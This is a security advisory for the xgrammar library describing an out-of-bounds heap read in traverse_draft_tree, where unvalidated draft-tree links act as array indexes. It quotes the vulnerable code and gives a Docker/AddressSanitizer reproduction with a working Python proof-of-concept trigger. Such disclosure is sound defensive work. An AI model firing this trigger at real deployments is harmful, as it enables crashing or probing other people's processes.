Out-of-Bounds Read Through Draft-Tree Links

Affected repository: mlc-ai/xgrammar
Observed HEAD: f07ca3cb03affaca98809c4e9dad41deed2f7730

Summary

GrammarMatcher.traverse_draft_tree accepts caller-supplied tensors that encode a speculative-decoding tree. On assessed revision f07ca3c (v0.2.5-46-gf07ca3c), the public boundary checks the tensors' ranks, dtype codes and bit widths, CPU placement, and shared node count, but it does not validate the child and sibling values before using them as recursive array indexes. A two-row input whose root names child index 2 therefore passes the boundary and produces an AddressSanitizer-confirmed 8-byte heap-buffer-overflow read immediately after the two-element draft_tokens allocation.

The public API and this validation gap were introduced together by fc9b5daa and are present in the directly inspected v0.2.0, v0.2.5, and v0.2.6rc2 snapshots. v0.1.34 does not expose this method. No fixed release was present in the inspected history. The demonstrated impact is native out-of-bounds read and process termination; code execution was not demonstrated. An attacker must be able to make the host process call this API with attacker-controlled tensors, so whether this crosses a remote or tenant boundary depends on an embedding application and is not established here.

Detail

The Python method in python/xgrammar/matcher.py::GrammarMatcher.traverse_draft_tree forwards five array-like values to the TVM FFI binding. cpp/tvm_ffi/tvm_ffi.cc casts them to DLTensor* and calls GrammarMatcher::TraverseDraftTree; there is no Python-side normalization of the link values. The native method in cpp/grammar_matcher.cc is therefore the trust boundary for this input.

At that boundary, the implementation checks for one-dimensional signed 64-bit child, sibling, and token tensors, a two-dimensional signed 32-bit output bitmask, and an optional one-dimensional 32-bit floating-point temperature tensor. It also requires CPU-accessible storage and equal first dimensions. These checks establish that every tensor describes the same num_nodes, but shape equality says nothing about whether a stored link is a valid row number. The only value-level link check is that the root's sibling is -1:

XGRAMMAR_CHECK(retrieve_next_token->shape[0] == draft_tokens->shape[0])
    << "The retrieve_next_token and draft_tokens tensors must have the same length";
XGRAMMAR_CHECK(retrieve_next_token->shape[0] == token_bitmask->shape[0])
    << "The token_bitmask batch size must match the number of nodes in the tree";
XGRAMMAR_CHECK(reinterpret_cast<const int64_t*>(retrieve_next_sibling->data)[0] == -1)
    << "The root node must not have siblings";

The root traversal begins at row 0. For the proof of concept's new, non-terminated matcher, the root is accepted, its bitmask row is filled, and retrieve_next_token[0] is passed directly to the recursive function's int32_t current_position parameter:

if (retrieve_next_token[current_position] != -1) {
  bool success = TraverseDraftTreeRecursive(
      retrieve_next_token[current_position],
      current_position,
      retrieve_next_token,
      retrieve_next_sibling,
      draft_tokens,
      matcher,
      token_bitmask,
      temperatures,
      time_threshold,
      start_time
  );

For the proof of concept, num_nodes is 2 while retrieve_next_token[0] is 2. The conversion to int32_t preserves this small value. In the child invocation, parent_position is valid, but the first data access reads draft_tokens[2], one element beyond the allocation:

XGRAMMAR_CHECK(parent_position >= 0)
    << "Non-root draft tree nodes must have a valid parent position";
int64_t current_token_id = draft_tokens[current_position];

Range checks alone are insufficient because an in-range graph is not necessarily a tree. For example, child links [1, 1] revisit node 1, and sibling links [-1, 1] make node 1 its own sibling. The recursive implementation has no visited set. Its timeout check runs only for accepted non-root nodes, while sibling recursion occurs even after a node is rejected, so a timeout is not a reliable cycle guard. A cycle can therefore cause unbounded recursion, while multiple incoming paths can process the same output row under different matcher states. Preflighting the reachable graph with an iterative worklist rejects both cases before the matcher is mutated.

Reproduce

Fresh validation at current default-branch commit f07ca3cb03affaca98809c4e9dad41deed2f7730 reached the reported sink under AddressSanitizer.

docker run --rm -i python:3.12-slim-bookworm bash <<'DOCKER'
set -eux
export DEBIAN_FRONTEND=noninteractive CMAKE_BUILD_PARALLEL_LEVEL=2
apt-get update -qq
apt-get install -y -qq --no-install-recommends ca-certificates git cmake ninja-build g++
python -m pip install -q --index-url https://download.pytorch.org/whl/cpu torch
python -m pip install -q scikit-build-core apache-tvm-ffi pydantic transformers numpy typing-extensions
git clone --depth 1 --quiet https://github.com/mlc-ai/xgrammar.git xgrammar
cd xgrammar
git rev-parse HEAD
git submodule update --init --recursive
ASAN_OPTIONS=verify_asan_link_order=0:detect_leaks=0 \
CXXFLAGS='-D_GLIBCXX_NO_ASSERTIONS -fno-lto -fsanitize=address -fno-omit-frame-pointer -g' \
LDFLAGS='-fno-lto -fsanitize=address' \
  python -m pip install -q --config-settings=cmake.build-type=Debug --no-build-isolation --no-deps .
libstdcpp=$(g++ -print-file-name=libstdc++.so.6)
libasan=$(gcc -print-file-name=libasan.so.8)
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:handle_segv=2:use_sigaltstack=0:disable_coredump=1:verify_asan_link_order=0 \
LD_PRELOAD="$libstdcpp:$libasan" \
python - <<'PY'
import torch
import xgrammar as xgr

tokenizer = xgr.TokenizerInfo(["a", "b"])
compiled = xgr.GrammarCompiler(
    tokenizer, max_threads=1, cache_enabled=False
).compile_grammar("root ::= [ab]*")
matcher = xgr.GrammarMatcher(compiled)
child = torch.tensor([2, -1], dtype=torch.int64)
sibling = torch.tensor([-1, -1], dtype=torch.int64)
tokens = torch.tensor([0, 1], dtype=torch.int64)
bitmask = xgr.allocate_token_bitmask(2, tokenizer.vocab_size)
matcher.traverse_draft_tree(child, sibling, tokens, bitmask)
PY
DOCKER

The vulnerable build produced the following relevant AddressSanitizer output; the address is exactly one 8-byte element beyond the 16-byte two-element allocation:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 8
    #0 in xgrammar::details::TraverseDraftTreeRecursive(...) cpp/grammar_matcher.cc:77
    #1 in xgrammar::details::TraverseDraftTreeRecursive(...) cpp/grammar_matcher.cc:110
    #2 in xgrammar::GrammarMatcher::TraverseDraftTree(...) cpp/grammar_matcher.cc:2670

0 bytes to the right of 16-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow in xgrammar::details::TraverseDraftTreeRecursive(...)

Credit

Zheng Yu @ Depthfirst